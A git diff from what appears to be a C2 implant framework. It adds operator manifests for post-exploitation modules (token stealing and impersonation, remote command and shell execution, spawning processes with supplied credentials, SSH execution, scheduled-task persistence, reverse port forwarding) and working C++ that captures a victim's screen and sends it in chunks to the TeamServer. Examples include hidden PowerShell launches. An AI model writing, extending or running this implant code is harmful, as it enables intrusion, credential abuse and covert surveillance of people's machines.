a/modules/PwSh/tests/testsPwSh.cpp b/modules/PwSh/tests/testsPwSh.cpp index 0e620a6..b719bb4 100644 --- a/modules/PwSh/tests/testsPwSh.cpp +++ b/modules/PwSh/tests/testsPwSh.cpp @@ -195,7 +195,7 @@ int main() ok &= expectErrorMessage(module, 8, "Failed: AppDomainThunk - QueryInterface", "error code 8"); ok &= expectErrorMessage(module, 11, "Failed: IdentityManagerProc", "error code 11"); ok &= expectErrorMessage(module, 12, "Failed: IdentityMnaager - GetBindingIdentityFromStream", "error code 12"); - ok &= expectErrorMessage(module, 13, "Failed: DefaultAppDomain - Load_2", "error code 13"); + ok &= expectErrorMessage(module, 13, "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2", "error code 13"); ok &= expectErrorMessage(module, 14, "Failed: DefaultAppDomain - Load_3", "error code 14"); ok &= expectErrorMessage(module, 15, "Failed: No module loaded", "error code 15"); ok &= expectErrorMessage(module, 21, "Failed: Assembly - GetType_2", "error code 21"); diff --git a/modules/Registry/registry.json b/modules/Registry/registry.json new file mode 100644 index 0000000..6708b31 --- /dev/null +++ b/modules/Registry/registry.json @@ -0,0 +1,75 @@ +{ + "name": "registry", + "display_name": "registry", + "kind": "module", + "description": "Manipulate local or remote Windows registry keys.", + "command_template": "registry {operation} [-s {s:q}] -h {h:q} -k {k:q} [-n {n:q}] [-d {d:q}] [-t {t}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "operation", + "type": "enum", + "required": true, + "description": "Registry operation.", + "values": [ + "set", + "deleteValue", + "delete", + "delvalue", + "query", + "get", + "createKey", + "create", + "deleteKey", + "delkey" + ] + }, + { + "name": "-s", + "type": "flag", + "required": false, + "description": "Remote host. Omit for localhost." + }, + { + "name": "-h", + "type": "flag", + "required": true, + "description": "Root hive, for example HKLM, HKCU, HKU, HKCR, or HKCC.", + "values": ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"] + }, + { + "name": "-k", + "type": "flag", + "required": true, + "description": "Subkey path." + }, + { + "name": "-n", + "type": "flag", + "required": false, + "description": "Value name required for value operations." + }, + { + "name": "-d", + "type": "flag", + "required": false, + "description": "Value data for set." + }, + { + "name": "-t", + "type": "flag", + "required": false, + "description": "Registry value type for set. Defaults to REG_SZ.", + "values": ["REG_SZ", "REG_DWORD", "REG_QWORD", "REG_EXPAND_SZ"] + } + ], + "examples": [ + "registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ", + "registry query -h HKCU -k Environment -n Path", + "registry createKey -h HKCU -k Software\\Acme" + ], + "source": "manifest" +} diff --git a/modules/Remove/remove.json b/modules/Remove/remove.json new file mode 100644 index 0000000..a280dcf --- /dev/null +++ b/modules/Remove/remove.json @@ -0,0 +1,25 @@ +{ + "name": "remove", + "display_name": "remove", + "kind": "module", + "description": "Remove a remote file or directory from the beacon.", + "command_template": "remove {path:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "path", + "type": "path", + "required": true, + "description": "Remote file or directory path.", + "variadic": true + } + ], + "examples": [ + "remove /tmp/file.txt", + "remove C:\\Temp\\file.txt" + ], + "source": "manifest" +} diff --git a/modules/Rev2self/rev2self.json b/modules/Rev2self/rev2self.json new file mode 100644 index 0000000..e451ef5 --- /dev/null +++ b/modules/Rev2self/rev2self.json @@ -0,0 +1,16 @@ +{ + "name": "rev2self", + "display_name": "rev2self", + "kind": "module", + "description": "Return the beacon to its original token context.", + "command_template": "rev2self", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [], + "examples": [ + "rev2self" + ], + "source": "manifest" +} diff --git a/modules/ReversePortForward/reversePortForward.json b/modules/ReversePortForward/reversePortForward.json new file mode 100644 index 0000000..e9f7cb8 --- /dev/null +++ b/modules/ReversePortForward/reversePortForward.json @@ -0,0 +1,35 @@ +{ + "name": "reversePortForward", + "display_name": "reversePortForward", + "kind": "module", + "description": "Start a reverse port forward from the beacon to a local service.", + "command_template": "reversePortForward {remote_port} {local_host:q} {local_port}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "remote_port", + "type": "number", + "required": true, + "description": "Port to listen on remotely." + }, + { + "name": "local_host", + "type": "text", + "required": true, + "description": "Local host reachable from the TeamServer side to forward traffic to." + }, + { + "name": "local_port", + "type": "number", + "required": true, + "description": "Local port to forward traffic to." + } + ], + "examples": [ + "reversePortForward 8080 127.0.0.1 80" + ], + "source": "manifest" +} diff --git a/modules/Run/run.json b/modules/Run/run.json new file mode 100644 index 0000000..9b772b8 --- /dev/null +++ b/modules/Run/run.json @@ -0,0 +1,26 @@ +{ + "name": "run", + "display_name": "run", + "kind": "module", + "description": "Run a system command on the beacon and return its output.", + "command_template": "run {command:raw}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "command", + "type": "text", + "required": true, + "description": "Command line to execute.", + "variadic": true + } + ], + "examples": [ + "run whoami", + "run id", + "run cmd /c dir" + ], + "source": "manifest" +} diff --git a/modules/ScreenShot/CMakeLists.txt b/modules/ScreenShot/CMakeLists.txt index 6d62337..752a619 100644 --- a/modules/ScreenShot/CMakeLists.txt +++ b/modules/ScreenShot/CMakeLists.txt @@ -2,14 +2,20 @@ include_directories(../) add_library(ScreenShot SHARED ScreenShot.cpp ScreenShooter.cpp) set_property(TARGET ScreenShot PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") target_link_libraries(ScreenShot ) +if(WIN32) + target_link_libraries(ScreenShot gdiplus ole32) +endif() add_custom_command(TARGET ScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$") if(C2CORE_BUILD_TESTS) add_executable(testsScreenShot tests/testsScreenShot.cpp ScreenShot.cpp ScreenShooter.cpp) target_link_libraries(testsScreenShot ) + if(WIN32) + target_link_libraries(testsScreenShot gdiplus ole32) + endif() add_custom_command(TARGET testsScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsScreenShot COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") -endif() \ No newline at end of file +endif() diff --git a/modules/ScreenShot/ScreenShooter.cpp b/modules/ScreenShot/ScreenShooter.cpp index a6dd3a9..5a8611a 100644 --- a/modules/ScreenShot/ScreenShooter.cpp +++ b/modules/ScreenShot/ScreenShooter.cpp @@ -2,16 +2,46 @@ #include "ScreenShooter.h" +#include +#include + +#include #include +#include using namespace guards; -void CreateBitmapFinal(std::vector & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight); +bool CreatePngFinal(std::vector & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp); void CaptureDesktop(CDCGuard &desktopGuard, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height, int left, int top); void SpliceImages(ScreenShooter::CDisplayHandlesPool * pHdcPool, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height); +int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) +{ + UINT num = 0; + UINT size = 0; + Gdiplus::GetImageEncodersSize(&num, &size); + if (size == 0) + return -1; + + std::vector buffer(size); + auto imageCodecInfo = reinterpret_cast(buffer.data()); + if (Gdiplus::GetImageEncoders(num, size, imageCodecInfo) != Gdiplus::Ok) + return -1; + + for (UINT index = 0; index < num; ++index) + { + if (std::wcscmp(imageCodecInfo[index].MimeType, format) == 0) + { + *pClsid = imageCodecInfo[index].Clsid; + return static_cast(index); + } + } + return -1; +} + + BOOL CALLBACK ScreenShooter::MonitorEnumProc( HMONITOR hMonitor, // handle to display monitor HDC hdcMonitor, // handle to monitor DC @@ -46,58 +76,58 @@ void ScreenShooter::CaptureScreen(std::vector& dataScreen) SpliceImages(& displayHandles, captureGuard, bmpGuard, originalBmp, &width, &height); - CreateBitmapFinal(dataScreen, captureGuard, bmpGuard, originalBmp, width, height); + CreatePngFinal(dataScreen, captureGuard, bmpGuard, originalBmp); } -void CreateBitmapFinal(std::vector & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight) +bool CreatePngFinal(std::vector & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp) { - // save data to buffer - unsigned char charBitmapInfo[sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD)] = {0}; - LPBITMAPINFO lpbi = (LPBITMAPINFO)charBitmapInfo; - lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); - lpbi->bmiHeader.biHeight = nScreenHeight; - lpbi->bmiHeader.biWidth = nScreenWidth; - lpbi->bmiHeader.biPlanes = 1; - lpbi->bmiHeader.biBitCount = 32; - lpbi->bmiHeader.biCompression = BI_RGB; + data.clear(); + if (!bmpGuard.get()) + return false; - SelectObject(captureGuard.get(), originalBmp); + if (originalBmp) + SelectObject(captureGuard.get(), originalBmp); - if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, NULL, lpbi, DIB_RGB_COLORS)) + Gdiplus::GdiplusStartupInput gdiplusStartupInput; + ULONG_PTR gdiplusToken = 0; + if (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Gdiplus::Ok) + return false; + + CLSID pngClsid; + bool success = false; + IStream* stream = NULL; + if (GetEncoderClsid(L"image/png", &pngClsid) >= 0 + && CreateStreamOnHGlobal(NULL, TRUE, &stream) == S_OK) { - int err = GetLastError(); - // throw std::runtime_error("CreateBitmapFinal: GetDIBits failed"); + Gdiplus::Bitmap bitmap(bmpGuard.get(), NULL); + if (bitmap.GetLastStatus() == Gdiplus::Ok + && bitmap.Save(stream, &pngClsid, NULL) == Gdiplus::Ok) + { + HGLOBAL global = NULL; + if (GetHGlobalFromStream(stream, &global) == S_OK) + { + STATSTG stat = {}; + void* memory = GlobalLock(global); + if (memory != NULL + && stream->Stat(&stat, STATFLAG_NONAME) == S_OK + && stat.cbSize.QuadPart > 0) + { + const SIZE_T size = static_cast(stat.cbSize.QuadPart); + auto begin = static_cast(memory); + data.assign(begin, begin + size); + success = true; + } + if (memory != NULL) + GlobalUnlock(global); + } + } } - DWORD ImageSize = lpbi->bmiHeader.biSizeImage; //known image size - - DWORD PalEntries = 3; - if (lpbi->bmiHeader.biCompression != BI_BITFIELDS) - PalEntries = (lpbi->bmiHeader.biBitCount <= 8) ?(int)(1 << lpbi->bmiHeader.biBitCount) : 0; - if (lpbi->bmiHeader.biClrUsed) - PalEntries = lpbi->bmiHeader.biClrUsed; - //known pal entrys count - - //all resize - data.resize(sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD) + ImageSize); - //set screenshot size - - DWORD imageOffset = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD); - DWORD infoHeaderOffset = sizeof(BITMAPFILEHEADER); - BITMAPFILEHEADER * pFileHeader = (BITMAPFILEHEADER *)&data[0]; - pFileHeader->bfType = 19778; // always the same, 'BM' - pFileHeader->bfReserved1 = pFileHeader->bfReserved2 = 0; - pFileHeader->bfOffBits = imageOffset; - pFileHeader->bfSize = ImageSize; - - if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, &data[imageOffset], lpbi, DIB_RGB_COLORS)) - { - // throw std::runtime_error("CreateBitmapFinal: GetDIBits failed"); - } - - memcpy(&data[sizeof(BITMAPFILEHEADER)], &lpbi->bmiHeader, sizeof(BITMAPINFOHEADER)); - + if (stream != NULL) + stream->Release(); + Gdiplus::GdiplusShutdown(gdiplusToken); + return success; } @@ -196,4 +226,4 @@ void SpliceImages( ScreenShooter::CDisplayHandlesPool * pHdcPool } -#endif \ No newline at end of file +#endif diff --git a/modules/ScreenShot/ScreenShot.cpp b/modules/ScreenShot/ScreenShot.cpp index a085e5f..499d404 100644 --- a/modules/ScreenShot/ScreenShot.cpp +++ b/modules/ScreenShot/ScreenShot.cpp @@ -7,6 +7,7 @@ #include "Common.hpp" +#include #include #include #include @@ -17,6 +18,7 @@ using namespace std; // Compute hash of moduleName at compile time, so the moduleName string don't show in the binary constexpr std::string_view moduleName = "screenShot"; constexpr unsigned long long moduleHash = djb2(moduleName); +constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024; #ifdef _WIN32 @@ -53,9 +55,10 @@ std::string ScreenShot::getInfo() // TODO: add screenshot every x seconds with a recurringExec #ifdef BUILD_TEAMSERVER info += "ScreenShot:\n"; - info += "ScreenShot\n"; + info += "Capture a screenshot and store it as a generated PNG TeamServer artifact.\n"; info += "exemple:\n"; - info += "- ScreenShot\n"; + info += "- screenShot\n"; + info += "- screenShot desktop.png\n"; #endif return info; } @@ -78,22 +81,72 @@ int ScreenShot::init(std::vector &splitedCmd, C2Message &c2Message) } -#define ERROR_OPEN_FILE 1 +#define ERROR_OPEN_FILE 1 +#define ERROR_CAPTURE_SCREEN 2 + +int ScreenShot::emitChunk(C2Message& c2RetMessage) +{ + if (m_screenshotBuffer.empty() || m_bytesSent >= m_screenshotBuffer.size()) + return 0; + + const std::size_t totalSize = m_screenshotBuffer.size(); + const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent); + c2RetMessage.set_instruction(std::to_string(moduleHash)); + c2RetMessage.set_cmd(""); + c2RetMessage.set_uuid(m_taskUuid); + c2RetMessage.set_outputfile(m_outputfile); + c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1"); + c2RetMessage.set_data(m_screenshotBuffer.data() + m_bytesSent, chunkSize); + + m_bytesSent += chunkSize; + if (m_bytesSent == totalSize) + { + c2RetMessage.set_returnvalue("Success"); + m_outputfile.clear(); + m_taskUuid.clear(); + m_screenshotBuffer.clear(); + m_bytesSent = 0; + } + else + { + c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize)); + } + + return 1; +} int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2Message.instruction()); + c2RetMessage.set_outputfile(c2Message.outputfile()); + c2RetMessage.set_args("0"); #ifdef _WIN32 std::vector dataScreen; ScreenShooter::CaptureScreen(dataScreen); - std::string buffer(dataScreen.begin(), dataScreen.end()); - c2RetMessage.set_data(buffer); + if (dataScreen.empty()) + { + c2RetMessage.set_errorCode(ERROR_CAPTURE_SCREEN); + return 0; + } - c2RetMessage.set_returnvalue("Success"); -#endif + m_outputfile = c2Message.outputfile(); + m_taskUuid = c2Message.uuid(); + m_screenshotBuffer.assign(dataScreen.begin(), dataScreen.end()); + m_bytesSent = 0; + emitChunk(c2RetMessage); +#elif defined(C2CORE_BUILD_TESTS) + if (!c2Message.data().empty()) + { + m_outputfile = c2Message.outputfile(); + m_taskUuid = c2Message.uuid(); + m_screenshotBuffer = c2Message.data(); + m_bytesSent = 0; + emitChunk(c2RetMessage); + } +#endif return 0; } @@ -107,6 +160,8 @@ int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& error { if(errorCode==ERROR_OPEN_FILE) errorMsg = "Failed: Couldn't open file"; + else if(errorCode==ERROR_CAPTURE_SCREEN) + errorMsg = "Failed: screen capture returned no data"; } #endif return 0; @@ -134,9 +189,7 @@ std::string getFilenameTimestamp() int ScreenShot::recurringExec(C2Message& c2RetMessage) { - // TODO - - return 1; + return emitChunk(c2RetMessage); } @@ -144,11 +197,14 @@ int ScreenShot::recurringExec(C2Message& c2RetMessage) int ScreenShot::followUp(const C2Message &c2RetMessage) { #ifdef BUILD_TEAMSERVER + if(!c2RetMessage.outputfile().empty()) + return 0; + const std::string buffer = c2RetMessage.data(); if(buffer.size()>0) { - std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp"; + std::string outputFile = "screenShot" + getFilenameTimestamp() + ".png"; std::ofstream output(outputFile, std::ios::binary); output << buffer; output.close(); diff --git a/modules/ScreenShot/ScreenShot.hpp b/modules/ScreenShot/ScreenShot.hpp index 90b7de1..81357a7 100644 --- a/modules/ScreenShot/ScreenShot.hpp +++ b/modules/ScreenShot/ScreenShot.hpp @@ -23,7 +23,12 @@ public: } private: + int emitChunk(C2Message& c2RetMessage); + std::string m_outputfile; + std::string m_taskUuid; + std::string m_screenshotBuffer; + std::size_t m_bytesSent = 0; }; diff --git a/modules/ScreenShot/screenShot.json b/modules/ScreenShot/screenShot.json new file mode 100644 index 0000000..27e5bc0 --- /dev/null +++ b/modules/ScreenShot/screenShot.json @@ -0,0 +1,24 @@ +{ + "name": "screenShot", + "display_name": "screenShot", + "kind": "module", + "description": "Capture a screenshot from the beacon host and register it as a generated PNG TeamServer artifact.", + "command_template": "screenShot {artifact_name:q?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "artifact_name", + "type": "text", + "required": false, + "description": "Optional generated PNG artifact filename hint. Omit the extension or use .png." + } + ], + "examples": [ + "screenShot", + "screenShot desktop.png" + ], + "source": "manifest" +} diff --git a/modules/ScreenShot/tests/testsScreenShot.cpp b/modules/ScreenShot/tests/testsScreenShot.cpp index a7d9d2d..9be3615 100644 --- a/modules/ScreenShot/tests/testsScreenShot.cpp +++ b/modules/ScreenShot/tests/testsScreenShot.cpp @@ -1,6 +1,7 @@ #include "../ScreenShot.hpp" #include "../../tests/TestHelpers.hpp" +#include #include #include #include @@ -9,9 +10,20 @@ using namespace test_helpers; namespace { -bool hasBmpHeader(const std::string& data) +constexpr std::size_t ChunkSize = 1 * 1024 * 1024; + +bool hasPngHeader(const std::string& data) { - return data.size() >= 2 && data[0] == 'B' && data[1] == 'M'; + const unsigned char expected[] = {0x89, 'P', 'N', 'G', '\r', '\n', 0x1A, '\n'}; + return data.size() >= sizeof(expected) + && std::equal( + expected, + expected + sizeof(expected), + data.begin(), + [](unsigned char lhs, char rhs) + { + return lhs == static_cast(rhs); + }); } } @@ -52,7 +64,7 @@ int main() ScreenShot module; C2Message recurring; - ok &= expect(module.recurringExec(recurring) == 1, "recurringExec should report no recurring work yet"); + ok &= expect(module.recurringExec(recurring) == 0, "recurringExec should report no recurring work when no screenshot is pending"); } { @@ -60,7 +72,8 @@ int main() C2Message ret; ok &= expect(module.followUp(ret) == 0, "followUp should accept an empty response"); - ret.set_data("not-a-bmp"); + ret.set_outputfile("generated-screenshot.png"); + ret.set_data("not-a-png"); ok &= expect(module.followUp(ret) == 0, "followUp should accept response data"); } @@ -71,13 +84,26 @@ int main() C2Message ret; ok &= expect(module.init(cmd, message) == 0, "process setup should initialize"); + message.set_outputfile("generated-screenshot.png"); ok &= expect(module.process(message, ret) == 0, "process should return success"); +#ifdef _WIN32 + ok &= expect(!ret.instruction().empty(), "process should return a screenshot instruction"); +#else + ok &= expect(ret.instruction() == "screenShot", "process should preserve instruction"); +#endif + ok &= expect(ret.outputfile() == "generated-screenshot.png", "process should preserve generated artifact output path"); + ok &= expect(ret.args() == "0", "process should mark screenshot as the first artifact chunk"); #ifdef _WIN32 - ok &= expect(ret.returnvalue() == "Success", "Windows process should report Success"); - if (!ret.data().empty()) + if (ret.errorCode() > 0) { - ok &= expect(hasBmpHeader(ret.data()), "Windows screenshot data should have a BMP header when data is captured"); + ok &= expect(ret.data().empty(), "failed Windows capture should not return payload data"); + } + else if (!ret.data().empty()) + { + ok &= expect(ret.returnvalue() == "Success" || ret.returnvalue().find("/") != std::string::npos, + "Windows process should report success or chunk progress"); + ok &= expect(hasPngHeader(ret.data()), "Windows screenshot data should have a PNG header when data is captured"); } #else ok &= expect(ret.returnvalue().empty(), "non-Windows process should not report screenshot output"); @@ -85,6 +111,38 @@ int main() #endif } +#if defined(C2CORE_BUILD_TESTS) && !defined(_WIN32) + { + ScreenShot module; + C2Message message; + C2Message firstChunk; + C2Message finalChunk; + const std::string payload(ChunkSize + 3, 'A'); + + message.set_instruction("screenShot"); + message.set_uuid("shot-0001"); + message.set_outputfile("generated-screenshot.png"); + message.set_data(payload); + + ok &= expect(module.process(message, firstChunk) == 0, "test payload process should return success"); + ok &= expect(firstChunk.uuid() == "shot-0001", "first chunk should preserve task uuid"); + ok &= expect(firstChunk.outputfile() == "generated-screenshot.png", "first chunk should preserve output file"); + ok &= expect(firstChunk.args() == "0", "first chunk should be marked as initial artifact data"); + ok &= expect(firstChunk.data().size() == ChunkSize, "first chunk should use the screenshot chunk size"); + ok &= expect(firstChunk.returnvalue().find("/") != std::string::npos, "first chunk should report transfer progress"); + + ok &= expect(module.recurringExec(finalChunk) == 1, "recurringExec should emit the remaining screenshot chunk"); + ok &= expect(finalChunk.uuid() == "shot-0001", "final chunk should preserve task uuid"); + ok &= expect(finalChunk.outputfile() == "generated-screenshot.png", "final chunk should preserve output file"); + ok &= expect(finalChunk.args() == "1", "final chunk should be marked as a continuation artifact chunk"); + ok &= expect(finalChunk.data().size() == 3, "final chunk should contain the remaining screenshot bytes"); + ok &= expect(finalChunk.returnvalue() == "Success", "final chunk should complete the screenshot transfer"); + + C2Message done; + ok &= expect(module.recurringExec(done) == 0, "recurringExec should stop after the final screenshot chunk"); + } +#endif + { ScreenShot module; C2Message ret; diff --git a/modules/Script/Script.cpp b/modules/Script/Script.cpp index ab9c6eb..a01310c 100644 --- a/modules/Script/Script.cpp +++ b/modules/Script/Script.cpp @@ -185,9 +185,10 @@ std::string Script::getInfo() std::string info; #ifdef BUILD_TEAMSERVER info += "script:\n"; - info += "Launch the script on the victim machine\n"; + info += "Launch a TeamServer-managed script artifact on the victim machine.\n"; + info += "Scripts are resolved from Scripts/ or Scripts/Any.\n"; info += "exemple:\n"; - info += " - script /tmp/toto.sh\n"; + info += " - script collect.sh\n"; #endif return info; } diff --git a/modules/Script/script.json b/modules/Script/script.json new file mode 100644 index 0000000..fa66708 --- /dev/null +++ b/modules/Script/script.json @@ -0,0 +1,56 @@ +{ + "name": "script", + "display_name": "script", + "kind": "module", + "description": "Run a TeamServer-managed script artifact on the beacon. Scripts are resolved from Scripts/, Scripts/Any, or UploadedArtifacts.", + "command_template": "script {script_artifact:q}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "script_artifact", + "type": "artifact", + "required": true, + "description": "Script artifact compatible with the current session.", + "artifact_filters": [ + { + "category": "script", + "scope": "server", + "target": "beacon", + "platform": "session.platform", + "runtime": "cmd" + }, + { + "category": "script", + "scope": "server", + "target": "beacon", + "platform": "session.platform", + "runtime": "shell" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "cmd" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "shell" + } + ] + } + ], + "examples": [ + "script cleanup.sh", + "script collect.cmd" + ], + "source": "manifest" +} diff --git a/modules/Shell/shell.json b/modules/Shell/shell.json new file mode 100644 index 0000000..e853a67 --- /dev/null +++ b/modules/Shell/shell.json @@ -0,0 +1,26 @@ +{ + "name": "shell", + "display_name": "shell", + "kind": "module", + "description": "Start or interact with a persistent shell on the beacon.", + "command_template": "shell {command:raw?}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "command", + "type": "text", + "required": false, + "description": "Optional shell command. Empty command starts the shell; exit stops it.", + "variadic": true + } + ], + "examples": [ + "shell", + "shell whoami", + "shell exit" + ], + "source": "manifest" +} diff --git a/modules/SpawnAs/spawnAs.json b/modules/SpawnAs/spawnAs.json new file mode 100644 index 0000000..04422d2 --- /dev/null +++ b/modules/SpawnAs/spawnAs.json @@ -0,0 +1,86 @@ +{ + "name": "spawnAs", + "display_name": "spawnAs", + "kind": "module", + "description": "Spawn a command under explicit Windows credentials.", + "command_template": "spawnAs [-d {d:q}] [-l {l}] [-p {p:flag}] [--with-profile {with_profile:flag}] [--no-profile {no_profile:flag}] [-w {w:flag}] [--show-window {show_window:flag}] [--netonly {netonly:flag}] {username:q} {password:q} -- {command:raw}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-d", + "type": "flag", + "required": false, + "description": "Domain override." + }, + { + "name": "-l", + "type": "flag", + "required": false, + "description": "Windows logon type.", + "values": ["2", "9"] + }, + { + "name": "-p", + "type": "flag", + "required": false, + "description": "Load the user profile before launching the process." + }, + { + "name": "--with-profile", + "type": "flag", + "required": false, + "description": "Load the user profile before launching the process." + }, + { + "name": "--no-profile", + "type": "flag", + "required": false, + "description": "Do not load the user profile." + }, + { + "name": "-w", + "type": "flag", + "required": false, + "description": "Show the process window." + }, + { + "name": "--show-window", + "type": "flag", + "required": false, + "description": "Show the process window." + }, + { + "name": "--netonly", + "type": "flag", + "required": false, + "description": "Use LOGON32_LOGON_NEW_CREDENTIALS." + }, + { + "name": "username", + "type": "text", + "required": true, + "description": "Username in Username, DOMAIN\\Username, or user@domain form." + }, + { + "name": "password", + "type": "text", + "required": true, + "description": "Password for the supplied user." + }, + { + "name": "command", + "type": "text", + "required": true, + "description": "Program and arguments to launch after --.", + "variadic": true + } + ], + "examples": [ + "spawnAs contoso\\alice P@ssw0rd -- powershell.exe -nop -w hidden", + "spawnAs -d . -l 9 bob Password123 -- cmd.exe /c whoami" + ], + "source": "manifest" +} diff --git a/modules/SshExec/sshExec.json b/modules/SshExec/sshExec.json new file mode 100644 index 0000000..93b90c0 --- /dev/null +++ b/modules/SshExec/sshExec.json @@ -0,0 +1,85 @@ +{ + "name": "sshExec", + "display_name": "sshExec", + "kind": "module", + "description": "Execute a command on a remote SSH server using username/password authentication.", + "command_template": "sshExec -h {h:q} [-P {P}] -u {u:q} -p {p:q} -- {command:raw}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "-h", + "type": "flag", + "required": true, + "description": "SSH host name or IP." + }, + { + "name": "--host", + "type": "flag", + "required": false, + "description": "SSH host name or IP." + }, + { + "name": "-P", + "type": "flag", + "required": false, + "description": "SSH port. Defaults to 22." + }, + { + "name": "--port", + "type": "flag", + "required": false, + "description": "SSH port. Defaults to 22." + }, + { + "name": "-u", + "type": "flag", + "required": true, + "description": "SSH username." + }, + { + "name": "--user", + "type": "flag", + "required": false, + "description": "SSH username." + }, + { + "name": "-p", + "type": "flag", + "required": true, + "description": "SSH password." + }, + { + "name": "--password", + "type": "flag", + "required": false, + "description": "SSH password." + }, + { + "name": "-c", + "type": "flag", + "required": false, + "description": "Remote command." + }, + { + "name": "--command", + "type": "flag", + "required": false, + "description": "Remote command." + }, + { + "name": "command", + "type": "text", + "required": true, + "description": "Remote command tail passed after --.", + "variadic": true + } + ], + "examples": [ + "sshExec -h 10.0.0.5 -u admin -p Passw0rd! -c \"ipconfig /all\"", + "sshExec -h server -P 22 -u admin -p Passw0rd! -- /bin/echo hello" + ], + "source": "manifest" +} diff --git a/modules/StealToken/stealToken.json b/modules/StealToken/stealToken.json new file mode 100644 index 0000000..3d9c8fa --- /dev/null +++ b/modules/StealToken/stealToken.json @@ -0,0 +1,23 @@ +{ + "name": "stealToken", + "display_name": "stealToken", + "kind": "module", + "description": "Steal and impersonate a token from a process id.", + "command_template": "stealToken {pid}", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "pid", + "type": "number", + "required": true, + "description": "Process id whose token should be impersonated." + } + ], + "examples": [ + "stealToken 4242" + ], + "source": "manifest" +} diff --git a/modules/TaskScheduler/taskScheduler.json b/modules/TaskScheduler/taskScheduler.json new file mode 100644 index 0000000..07ed507 --- /dev/null +++ b/modules/TaskScheduler/taskScheduler.json @@ -0,0 +1,66 @@ +{ + "name": "taskScheduler", + "display_name": "taskScheduler", + "kind": "module", + "description": "Create and optionally run a scheduled task on a local or remote Windows host.", + "command_template": "taskScheduler -c {c:q} [-s {s:q}] [-t {t:q}] [-a {a:q}] [-u {u:q}] [-p {p:q}] [--no-run {no_run:flag}] [--nocleanup {nocleanup:flag}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "-c", + "type": "flag", + "required": true, + "description": "Executable or command to run in the scheduled task." + }, + { + "name": "-s", + "type": "flag", + "required": false, + "description": "Target host. Omit for localhost." + }, + { + "name": "-t", + "type": "flag", + "required": false, + "description": "Scheduled task name. A random name is used if omitted." + }, + { + "name": "-a", + "type": "flag", + "required": false, + "description": "Command line arguments." + }, + { + "name": "-u", + "type": "flag", + "required": false, + "description": "DOMAIN\\user for task registration." + }, + { + "name": "-p", + "type": "flag", + "required": false, + "description": "Password for the provided user." + }, + { + "name": "--no-run", + "type": "flag", + "required": false, + "description": "Register the task without running it." + }, + { + "name": "--nocleanup", + "type": "flag", + "required": false, + "description": "Keep the task after it starts." + } + ], + "examples": [ + "taskScheduler -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\"", + "taskScheduler -s HOST -t UpdateTask -c C:\\Windows\\System32\\cmd.exe -a \"/c whoami\" --nocleanup" + ], + "source": "manifest" +} diff --git 